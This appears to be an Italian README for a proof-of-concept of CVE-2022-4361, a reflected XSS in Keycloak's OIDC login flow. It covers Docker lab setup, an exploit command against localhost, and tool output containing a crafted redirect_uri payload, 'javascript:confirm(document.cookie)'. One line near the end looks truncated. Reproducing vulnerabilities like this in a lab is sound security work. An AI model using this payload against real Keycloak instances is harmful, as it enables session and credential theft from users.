
Proof-of-concept exploit per CVE-2022-4361, una vulnerabilità XSS riflessa nel flusso di autenticazione OIDC di Keycloak, con ambiente di test basato su Docker e script di exploit in Python.
Questa repository contiene un PoC per CVE-2022-4361.
Tutti i crediti vanno all'autore originale della scoperta, mulliken;
IMPORTANTE: questo PoC non è completo in quanto non copre il caso del valore AssertionConsumerServiceURL nel protocollo di autenticazione SAML. Attualmente è coperto solo il caso OIDC.
git clone https://github.com/faccimatteo/CVE-2022-4361.git && cd ./CVE-2022-4361
docker compose up -d
Attendi che l'infrastruttura sia disponibile e raggiungibile.
Poiché in questo PoC Keycloak non è integrato con alcuna applicazione web, è necessario specificare l'URL completo di autenticazione di Keycloak (una volta che il realm di test è stato configurato correttamente).
La vulnerabilità in questo ambiente di test può essere testata con il seguente URL.
python3 ./CVE-2022-4361.py --url http://localhost:8080/realms/test-realm/protocol/openid-connect/auth\?client_id\=test-client\&redirect_uri\=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F\&state\=f0cd8010-72b1-476d-823a-b72e2106db1d\&response_mode\=fragment\&response_type\=code\&scope\=openid\&nonce\=eb117e13-b09e-49b1-a086-3ebb69d6ca3d\&code_challenge\=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w\&code_challenge_method\=S256
[+] Detected Keycloak OIDC configuration in the authentication flow for http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=fragment&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256.
[+] Crafted malicious Keycloak authentication URL: http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=javascript:confirm(document.cookie)&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=form_post&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256
[+] The Keycloak instance used by the target is likely to be VULNERABLE to CVE-2022-4361!
[*] Opening malicious login page in your default web browser...
Verrà aperta una finestra del browser con la pagina di login dannosa, come visibile nello screenshot qui sotto.

Quando una vittima fornisce credenziali valide (disponibili in keycloak-config/test-realm.json) e clicca sul pulsante Sign In, l'attacco XSS riflesso verrà consegnato.
Vale la pena notare che l'attacco ha successo anche se la vittima ha già effettuato l'accesso all'applicazione.

* per redirect_uri in ambienti di produzione.Attualmente, questo PoC copre solo il caso di Keycloak configurato con un flusso di autenticazione OIDC.
Nelle prossime versioni, verrà introdotto il protocollo di autenticazione SAML.